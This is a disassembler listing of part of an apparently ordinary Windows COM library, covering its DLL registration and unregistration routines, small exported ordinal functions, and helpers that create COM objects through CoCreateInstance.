		push	offset byte_69B25C44 ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegQueryValueExA	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B2C1C9
		mov	esi, ds:dword_69B258E4[ebx]
		lea	eax, [ebp+Filename]


loc_69B2C198:				; CODE XREF: DllRegisterServer+D0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_69B2C1BA
		test	cl, cl
		jz	short loc_69B2C1B6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_69B2C1BA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_69B2C198


loc_69B2C1B6:				; CODE XREF: DllRegisterServer+BEj
		xor	eax, eax
		jmp	short loc_69B2C1BF
; ---------------------------------------------------------------------------


loc_69B2C1BA:				; CODE XREF: DllRegisterServer+BAj
					; DllRegisterServer+C8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_69B2C1BF:				; CODE XREF: DllRegisterServer+D4j
		xor	esi, esi
		test	eax, eax
		jle	short loc_69B2C1C9
		mov	[ebp+var_5], 0


loc_69B2C1C9:				; CODE XREF: DllRegisterServer+A6j
					; DllRegisterServer+DFj
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey
		cmp	[ebp+var_5], 0
		jz	short loc_69B2C1E6


loc_69B2C1D8:				; CODE XREF: DllRegisterServer+62j
					; DllRegisterServer+84j
		push	ds:off_69B258E8[ebx]
		call	sub_69B2B41B
		mov	[ebp+var_C], eax


loc_69B2C1E6:				; CODE XREF: DllRegisterServer+F2j
		add	ebx, 10h
		cmp	[ebp+var_C], esi
		jge	loc_69B2C132


loc_69B2C1F2:				; CODE XREF: DllRegisterServer+54j
		cmp	[ebp+var_C], esi
		jl	short loc_69B2C25E
		push	edi		; nSize
		lea	eax, [ebp+Filename]
		push	eax		; lpFilename
		push	hModule		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	edi		; cchWideChar
		lea	eax, [ebp+szFullPath]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cchMultiByte
		lea	eax, [ebp+Filename]
		push	eax		; lpMultiByteStr
		push	esi		; dwFlags
		push	esi		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		lea	eax, [ebp+ptlib]
		push	eax		; pptlib
		lea	eax, [ebp+szFullPath]
		push	eax		; szFile
		call	LoadTypeLib
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jl	short loc_69B2C259
		push	esi		; szHelpDir
		lea	eax, [ebp+szFullPath]
		push	eax		; szFullPath
		push	[ebp+ptlib]	; ptlib
		call	RegisterTypeLib
		mov	[ebp+var_C], eax
		mov	eax, [ebp+ptlib]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B2C259:				; CODE XREF: DllRegisterServer+156j
		cmp	[ebp+var_C], esi
		jnz	short loc_69B2C263


loc_69B2C25E:				; CODE XREF: DllRegisterServer+111j
		call	sub_69B2BD11


loc_69B2C263:				; CODE XREF: DllRegisterServer+178j
		call	sub_69B2B3FC
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn
DllRegisterServer endp

; ---------------------------------------------------------------------------
		align 4
aRegold		db 'RegOld',0           ; DATA XREF: DllRegisterServer:loc_69B2C119o
		align 4
aRegmime	db 'RegMIME',0          ; DATA XREF: DllRegisterServer+2Bo
; Exported entry  17. DllUnregisterServer

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; HRESULT __stdcall DllUnregisterServer()
		public DllUnregisterServer

DllUnregisterServer proc near

Data		= byte ptr -124h
Type		= dword	ptr -20h
cbData		= dword	ptr -1Ch
var_18		= dword	ptr -18h
hKey		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	esi
		push	offset String1	; lpString1
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 80004005h
		call	sub_69B2BCF6
		mov	[ebp+var_10], eax
		call	sub_69B2BE45
		push	1		; syskind
		xor	esi, esi
		push	esi		; lcid
		push	6		; wVerMinor
		push	2		; wVerMajor
		push	offset libID	; libID
		mov	[ebp+var_18], eax
		call	UnRegisterTypeLib
		cmp	eax, 8002801Ch
		mov	[ebp+var_8], eax
		jnz	short loc_69B2C2DE
		mov	[ebp+var_8], esi


loc_69B2C2DE:				; CODE XREF: DllUnregisterServer+4Dj
		cmp	[ebp+var_18], esi
		jnz	loc_69B2C40B
		cmp	[ebp+var_10], esi
		jz	short loc_69B2C339
		call	sub_69B2B309
		test	eax, eax
		jz	short loc_69B2C306
		push	offset aUnregmime ; "UnRegMIME"
		call	sub_69B2B41B
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_69B2C317


loc_69B2C306:				; CODE XREF: DllUnregisterServer+67j
		cmp	[ebp+var_8], esi
		jz	short loc_69B2C311
		cmp	[ebp+var_8], 1
		jnz	short loc_69B2C317


loc_69B2C311:				; CODE XREF: DllUnregisterServer+7Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax


loc_69B2C317:				; CODE XREF: DllUnregisterServer+78j
					; DllUnregisterServer+83j
		push	offset aUnregold ; "UnregOld"
		call	sub_69B2B41B
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_69B2C339
		cmp	[ebp+var_8], esi
		jz	short loc_69B2C333
		cmp	[ebp+var_8], 1
		jnz	short loc_69B2C339


loc_69B2C333:				; CODE XREF: DllUnregisterServer+9Fj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax


loc_69B2C339:				; CODE XREF: DllUnregisterServer+5Ej
					; DllUnregisterServer+9Aj ...
		push	ebx
		push	edi
		xor	edi, edi


loc_69B2C33D:				; CODE XREF: DllUnregisterServer+175j
		mov	eax, ds:dword_69B258E0[edi]
		cmp	eax, esi
		jz	loc_69B2C3D5
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		push	1		; samDesired
		push	esi		; ulOptions
		push	eax		; lpSubKey
		push	80000000h	; hKey
		xor	bl, bl
		mov	[ebp+cbData], 104h
		call	RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_69B2C3E3
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	esi		; lpReserved
		push	offset byte_69B25C44 ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegQueryValueExA	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B2C3C8
		mov	esi, ds:dword_69B258E4[edi]
		lea	eax, [ebp+Data]


loc_69B2C399:				; CODE XREF: DllUnregisterServer+129j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_69B2C3BB
		test	cl, cl
		jz	short loc_69B2C3B7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_69B2C3BB
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_69B2C399


loc_69B2C3B7:				; CODE XREF: DllUnregisterServer+117j
		xor	eax, eax
		jmp	short loc_69B2C3C0
; ---------------------------------------------------------------------------


loc_69B2C3BB:				; CODE XREF: DllUnregisterServer+113j
					; DllUnregisterServer+121j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_69B2C3C0:				; CODE XREF: DllUnregisterServer+12Dj
		xor	esi, esi
		test	eax, eax
		jnz	short loc_69B2C3C8
		mov	bl, 1


loc_69B2C3C8:				; CODE XREF: DllUnregisterServer+FFj
					; DllUnregisterServer+138j
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey
		test	bl, bl
		jz	short loc_69B2C3E3


loc_69B2C3D5:				; CODE XREF: DllUnregisterServer+B9j
		push	ds:off_69B258EC[edi]
		call	sub_69B2B41B
		mov	[ebp+var_C], eax


loc_69B2C3E3:				; CODE XREF: DllUnregisterServer+DDj
					; DllUnregisterServer+147j
		mov	eax, [ebp+var_C]
		cmp	eax, esi
		jz	short loc_69B2C3F8
		cmp	[ebp+var_8], esi
		jz	short loc_69B2C3F5
		cmp	[ebp+var_8], 1
		jnz	short loc_69B2C3F8


loc_69B2C3F5:				; CODE XREF: DllUnregisterServer+161j
		mov	[ebp+var_8], eax


loc_69B2C3F8:				; CODE XREF: DllUnregisterServer+15Cj
					; DllUnregisterServer+167j
		add	edi, 10h
		cmp	edi, 0A0h
		jb	loc_69B2C33D
		pop	edi
		pop	ebx
		jmp	short loc_69B2C410
; ---------------------------------------------------------------------------


loc_69B2C40B:				; CODE XREF: DllUnregisterServer+55j
		call	sub_69B2B4A9


loc_69B2C410:				; CODE XREF: DllUnregisterServer+17Dj
		cmp	[ebp+var_10], esi
		jnz	short loc_69B2C41F
		cmp	[ebp+var_18], esi
		jnz	short loc_69B2C41F
		call	sub_69B2BF77


loc_69B2C41F:				; CODE XREF: DllUnregisterServer+187j
					; DllUnregisterServer+18Cj
		call	sub_69B2B3FC
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		xor	eax, eax
		pop	esi
		call	sub_69B1B9F6
		leave
		retn
DllUnregisterServer endp

; ---------------------------------------------------------------------------
aUnregold	db 'UnregOld',0         ; DATA XREF: DllUnregisterServer:loc_69B2C317o
		align 10h
aUnregmime	db 'UnRegMIME',0        ; DATA XREF: DllUnregisterServer+69o
; Exported entry  12.

; =============== S U B	R O U T	I N E =======================================


		public Ordinal12

Ordinal12	proc near

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		cmp	ecx, eax
		jg	short loc_69B2C45B
		mov	dword_69B92940,	eax
		jmp	short locret_69B2C47A
; ---------------------------------------------------------------------------


loc_69B2C45B:				; CODE XREF: Ordinal12+8j
		cmp	dword_69B9B258,	ecx
		jg	short loc_69B2C475
		mov	dword_69B9293C,	ecx
		mov	dword_69B92940,	1
		jmp	short locret_69B2C47A
; ---------------------------------------------------------------------------


loc_69B2C475:				; CODE XREF: Ordinal12+17j
		mov	eax, 80004005h

locret_69B2C47A:			; CODE XREF: Ordinal12+Fj
					; Ordinal12+29j
		retn	4
Ordinal12	endp

; Exported entry   8.

; =============== S U B	R O U T	I N E =======================================


		public Ordinal8

Ordinal8	proc near
		mov	eax, dword_69B9B258
		retn
Ordinal8	endp

; Exported entry  11.

; =============== S U B	R O U T	I N E =======================================


		public Ordinal11

Ordinal11	proc near

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ecx, [esp+4+arg_0]
		push	[esp+4+arg_4]
		call	sub_69B3F250
		retn	0Ch
Ordinal11	endp

; Exported entry   7.

; =============== S U B	R O U T	I N E =======================================


		public Ordinal7

Ordinal7	proc near

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ecx, [esp+4+arg_0]
		push	[esp+4+arg_4]
		call	sub_69B40FE5
		retn	0Ch
Ordinal7	endp

; Exported entry   6.

; =============== S U B	R O U T	I N E =======================================


		public Ordinal6

Ordinal6	proc near

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ecx, [esp+4+arg_0]
		push	[esp+4+arg_4]
		call	sub_69B3EA42
		retn	0Ch
Ordinal6	endp

; Exported entry   9.

; =============== S U B	R O U T	I N E =======================================


		public Ordinal9

Ordinal9	proc near

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B3EB54
		retn	8
Ordinal9	endp

; Exported entry  10.

; =============== S U B	R O U T	I N E =======================================


		public Ordinal10

Ordinal10	proc near

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	[ecx+0ECh], eax
		xor	eax, eax
		retn	8
Ordinal10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2C4E2	proc near		; CODE XREF: sub_69B1B9F6+6j

var_328		= dword	ptr -328h
var_324		= byte ptr -324h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	edx, dword_69B9292C
		test	edx, edx
		mov	[ebp+var_4], eax
		jz	short loc_69B2C53B
		push	edi
		xor	eax, eax
		and	[ebp+var_328], eax
		push	13h
		pop	ecx
		lea	edi, [ebp+var_58]
		rep stosd
		mov	ecx, 0B2h
		lea	edi, [ebp+var_324]
		rep stosd
		lea	eax, [ebp+var_5C]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_328]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_5C], 0C0000409h
		call	edx ; dword_69B9292C
		pop	edi


loc_69B2C53B:				; CODE XREF: sub_69B2C4E2+1Cj
		push	502h		; uExitCode
		call	ds:GetCurrentProcess	; GetCurrentProcess
		push	eax		; hProcess
		call	ds:TerminateProcess	; TerminateProcess
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		leave
		retn
sub_69B2C4E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2C55A	proc near		; DATA XREF: .text:69B1C91Co

arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	offset dword_69B92924 ;	lpAddend
		jz	short loc_69B2C56E
		call	ds:InterlockedIncrement	; InterlockedIncrement
		jmp	short loc_69B2C574
; ---------------------------------------------------------------------------


loc_69B2C56E:				; CODE XREF: sub_69B2C55A+Aj
		call	ds:InterlockedDecrement	; InterlockedDecrement


loc_69B2C574:				; CODE XREF: sub_69B2C55A+12j
		xor	eax, eax
		retn	8
sub_69B2C55A	endp

; ---------------------------------------------------------------------------
		jmp	sub_69B1CA20

; =============== S U B	R O U T	I N E =======================================



sub_69B2C57E	proc near		; CODE XREF: sub_69B2C68C+4Dp
					; sub_69B2C72C+38p ...

arg_0		= dword	ptr  4

		push	8
		call	sub_69B11E44
		test	eax, eax
		jnz	short loc_69B2C590
		mov	eax, 8007000Eh
		jmp	short locret_69B2C5AC
; ---------------------------------------------------------------------------


loc_69B2C590:				; CODE XREF: sub_69B2C57E+9j
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		mov	ecx, dword_69B9B1D0
		mov	[eax+4], ecx
		inc	dword_69B9B1D4
		mov	dword_69B9B1D0,	eax
		xor	eax, eax

locret_69B2C5AC:			; CODE XREF: sub_69B2C57E+10j
		retn	4
sub_69B2C57E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2C5AF	proc near		; CODE XREF: sub_69B2C65C+17p
		push	20h
		push	offset dword_69B2C650
		call	sub_69B19C5C
		push	dword_69B929D8
		lea	ecx, [ebp-1Ch]
		call	sub_69B18E23
		mov	esi, dword_69B9B1D0
		mov	[ebp-20h], esi
		xor	ebx, ebx
		mov	dword_69B9B1D0,	ebx


loc_69B2C5DA:				; CODE XREF: sub_69B2C63D+Cj
		mov	[ebp-4], ebx


loc_69B2C5DD:				; CODE XREF: sub_69B2C5AF+88j
		cmp	esi, ebx
		jz	short loc_69B2C605
		cmp	dword_69B9B1D4,	ebx
		jz	short loc_69B2C605
		mov	eax, [esi]
		mov	[ebp-24h], eax
		mov	ecx, [eax]
		mov	[ebp-28h], ecx
		mov	[eax], ebx
		cmp	dword_69B92934,	ebx
		jle	short loc_69B2C617
		mov	[eax], ecx
		mov	dword_69B9B1D0,	esi


loc_69B2C605:				; CODE XREF: sub_69B2C5AF+30j
					; sub_69B2C5AF+38j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B2C617:				; CODE XREF: sub_69B2C5AF+4Cj
		dec	dword_69B9B1D4
		mov	edi, esi
		mov	[ebp-2Ch], edi
		mov	esi, [esi+4]
		mov	[ebp-20h], esi
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		mov	[ebp-30h], edi
		push	edi
		call	sub_69B1B2B7
		jmp	short loc_69B2C5DD
sub_69B2C5AF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B2C639	proc near		; DATA XREF: .text:69B2C654o
		xor	eax, eax
		inc	eax
		retn
sub_69B2C639	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2C63D	proc near		; DATA XREF: .text:69B2C658o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx
		mov	esi, [ebp-20h]
		jmp	short loc_69B2C5DA
sub_69B2C63D	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B2C650	dd 0FFFFFFFFh			dd offset sub_69B2C639
		dd offset sub_69B2C63D

; =============== S U B	R O U T	I N E =======================================



sub_69B2C65C	proc near		; CODE XREF: sub_69B3659D+10p
					; sub_69B3659D+41j ...
		push	esi
		push	offset dword_69B92934 ;	lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		cmp	dword_69B92934,	0
		mov	esi, eax
		jnz	short loc_69B2C688
		call	sub_69B2C5AF
		cmp	dword_69B92934,	0
		jnz	short loc_69B2C688
		push	8
		call	sub_69B18C0C


loc_69B2C688:				; CODE XREF: sub_69B2C65C+15j
					; sub_69B2C65C+23j
		mov	eax, esi
		pop	esi
		retn
sub_69B2C65C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2C68C(LPVOID *ppv)

sub_69B2C68C	proc near		; CODE XREF: sub_69B3698E+5p

var_4		= byte ptr -4
ppv		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	dword_69B929D8
		lea	ecx, [ebp+var_4]
		xor	esi, esi
		call	sub_69B18E23
		mov	ebx, [ebp+ppv]
		cmp	[ebx], esi
		jnz	short loc_69B2C6EB
		push	edi
		push	ebx		; ppv
		push	offset riid	; riid
		push	1		; dwClsContext
		push	esi		; pUnkOuter
		mov	esi, ds:CoCreateInstance
		mov	edi, offset rclsid
		push	edi		; rclsid
		call	esi ; CoCreateInstance
		test	eax, eax
		jz	short loc_69B2C6D8
		push	ebx		; ppv
		push	offset stru_69B2C71C ; riid
		push	1		; dwClsContext
		push	0		; pUnkOuter
		push	edi		; rclsid
		call	esi ; CoCreateInstance
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B2C6EA


loc_69B2C6D8:				; CODE XREF: sub_69B2C68C+37j
		push	ebx
		call	sub_69B2C57E
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B2C6EA
		push	ebx
		call	sub_69B17230


loc_69B2C6EA:				; CODE XREF: sub_69B2C68C+4Aj
					; sub_69B2C68C+56j
		pop	edi


loc_69B2C6EB:				; CODE XREF: sub_69B2C68C+1Bj
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B2C68C	endp

; ---------------------------------------------------------------------------
		align 4
; CLSID	rclsid
rclsid		dd 275C23E2h		; Data1	; DATA XREF: sub_69B2C68C+2Do
		dw 3747h		; Data2
		dw 11D0h		; Data3
		db 9Fh,	0EAh, 0, 0AAh, 0, 3Fh, 86h, 46h; Data4
; IID riid
riid		dd 0DCCFC164h		; Data1	; DATA XREF: sub_69B2C68C+1Fo
		dw 2B38h		; Data2
		dw 11D2h		; Data3
		db 0B7h, 0ECh, 0, 0C0h,	4Fh, 8Fh, 5Dh, 9Ah; Data4
; IID stru_69B2C71C
stru_69B2C71C	dd 275C23E1h		; Data1	; DATA XREF: sub_69B2C68C+3Ao
		dw 3747h		; Data2
		dw 11D0h		; Data3
		db 9Fh,	0EAh, 0, 0AAh, 0, 3Fh, 86h, 46h; Data4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2C72C(LPVOID *ppv)

sub_69B2C72C	proc near		; CODE XREF: sub_69B39C17+30p
					; sub_69B72074+20p ...

var_4		= byte ptr -4
ppv		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	dword_69B929D8
		lea	ecx, [ebp+var_4]
		xor	edi, edi
		call	sub_69B18E23
		mov	esi, [ebp+ppv]
		cmp	[esi], edi
		jnz	short loc_69B2C775
		push	esi		; ppv
		push	offset stru_69B2AF10 ; riid
		push	1		; dwClsContext
		push	edi		; pUnkOuter
		push	offset stru_69B2AED0 ; rclsid
		call	ds:CoCreateInstance
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B2C775
		push	esi
		call	sub_69B2C57E
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B2C775
		push	esi
		call	sub_69B17230


loc_69B2C775:				; CODE XREF: sub_69B2C72C+1Bj
					; sub_69B2C72C+35j ...
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B2C72C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2C785(LPVOID *ppv)

sub_69B2C785	proc near		; CODE XREF: sub_69B71F04+D5p

var_4		= byte ptr -4
ppv		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	dword_69B929D8
		lea	ecx, [ebp+var_4]
		xor	edi, edi
		call	sub_69B18E23
		mov	esi, [ebp+ppv]
		cmp	[esi], edi
		jnz	short loc_69B2C7CE
		push	esi		; ppv
		push	offset stru_69B2C7F0 ; riid
		push	1		; dwClsContext
		push	edi		; pUnkOuter
		push	offset stru_69B2C7E0 ; rclsid
		call	ds:CoCreateInstance
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B2C7CE
		push	esi
		call	sub_69B2C57E
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B2C7CE
		push	esi
		call	sub_69B17230


loc_69B2C7CE:				; CODE XREF: sub_69B2C785+1Bj
					; sub_69B2C785+35j ...
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B2C785	endp

; ---------------------------------------------------------------------------
		align 10h
; CLSID	stru_69B2C7E0
stru_69B2C7E0	dd 2E005h		; Data1	; DATA XREF: sub_69B2C785+26o
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4
; IID stru_69B2C7F0
stru_69B2C7F0	dd 2E013h		; Data1	; DATA XREF: sub_69B2C785+1Eo
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2C800	proc near		; CODE XREF: sub_69B3BAFF+26p
					; sub_69B3C2E1+26p ...

pvarg		= VARIANTARG ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		test	byte ptr [ebp+arg_14+1], 40h
		push	ebx
		push	esi
		push	edi
		jz	short loc_69B2C819
		mov	eax, 80004005h
		jmp	loc_69B2C8CE
; ---------------------------------------------------------------------------


loc_69B2C819:				; CODE XREF: sub_69B2C800+Dj
		mov	eax, [ebp+arg_18]
		mov	edi, [ebp+arg_C]
		xor	ebx, ebx
		cmp	[ebp+arg_8], bl
		jz	short loc_69B2C873
		cmp	edi, 0F4240h
		jl	short loc_69B2C873
		cmp	edi, 2DC6BFh
		jg	short loc_69B2C873
		test	byte ptr [ebp+arg_14], 3
		jz	short loc_69B2C873
		cmp	[eax+8], ebx
		jnz	short loc_69B2C873
		cmp	[eax+0Ch], ebx
		jnz	short loc_69B2C873
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		add	edi, 0FFF0BDC0h
		mov	dword ptr [ebp+pvarg.anonymous_0+8], edi
		lea	eax, [ebp+pvarg]
		mov	[ebp+var_8], 1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	word ptr [ebp+pvarg.anonymous_0], 3
		xor	edi, edi
		jmp	short loc_69B2C8A8
; ---------------------------------------------------------------------------


loc_69B2C873:				; CODE XREF: sub_69B2C800+24j
					; sub_69B2C800+2Cj ...
		mov	esi, [eax+0Ch]
		cmp	esi, ebx
		jz	short loc_69B2C8AE
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx], 0FFFFFD9Bh
		jnz	short loc_69B2C8AE
		test	byte ptr [ebp+arg_14], 1
		jnz	short loc_69B2C892
		mov	eax, 80070057h
		jmp	short loc_69B2C8CE
; ---------------------------------------------------------------------------


loc_69B2C892:				; CODE XREF: sub_69B2C800+89j
		mov	edx, [eax+8]
		mov	eax, [eax]
		dec	edx
		dec	esi
		add	eax, 10h
		add	ecx, 4
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ecx


loc_69B2C8A8:				; CODE XREF: sub_69B2C800+71j
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]


loc_69B2C8AE:				; CODE XREF: sub_69B2C800+78j
					; sub_69B2C800+83j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		lea	esi, [ebp+arg_8]
		push	esi
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset dword_69B2AFB0
		push	edi
		push	ecx
		call	dword ptr [edx+18h]


loc_69B2C8CE:				; CODE XREF: sub_69B2C800+14j
					; sub_69B2C800+90j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	28h
sub_69B2C800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2C8D5	proc near		; CODE XREF: sub_69B2CF2D+Fp
					; sub_69B2CF59+32p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 0
		push	edi
		jnz	short loc_69B2C954
		push	dword_69B929D8
		lea	ecx, [ebp+var_4]
		call	sub_69B18E23
		cmp	dword ptr [esi], 0
		jnz	short loc_69B2C94C
		lea	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [esi+4]
		push	[ebp+arg_4]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		call	sub_69B2DEF4
		test	eax, eax
		jz	short loc_69B2C929
		lea	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [esi+4]
		push	0
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		call	sub_69B2DEF4
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B2C93E


loc_69B2C929:				; CODE XREF: sub_69B2C8D5+38j
		push	esi
		call	sub_69B2C57E
		mov	edi, eax
		test	edi, edi
		mov	eax, [ebp+arg_0]
		jz	short loc_69B2C94A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B2C93E:				; CODE XREF: sub_69B2C8D5+52j
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C
		mov	eax, edi
		jmp	short loc_69B2C956
; ---------------------------------------------------------------------------


loc_69B2C94A:				; CODE XREF: sub_69B2C8D5+61j
		mov	[esi], eax


loc_69B2C94C:				; CODE XREF: sub_69B2C8D5+1Fj
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C


loc_69B2C954:				; CODE XREF: sub_69B2C8D5+Cj
		xor	eax, eax


loc_69B2C956:				; CODE XREF: sub_69B2C8D5+73j
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B2C8D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2C95C	proc near		; CODE XREF: sub_69B2D2C8+39p

var_312		= byte ptr -312h
String		= word ptr -310h
MultiByteStr	= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 310h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	edi
		xor	edi, edi
		cmp	word_69B9B1D8, di
		mov	[ebp+var_4], eax
		mov	ebx, offset word_69B9B1D8
		jnz	loc_69B2CA09
		push	esi
		mov	esi, 104h
		push	esi		; nSize
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpFilename
		push	hModule		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	esi		; cchWideChar
		lea	eax, [ebp+String]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cchMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	edi		; dwFlags
		push	edi		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
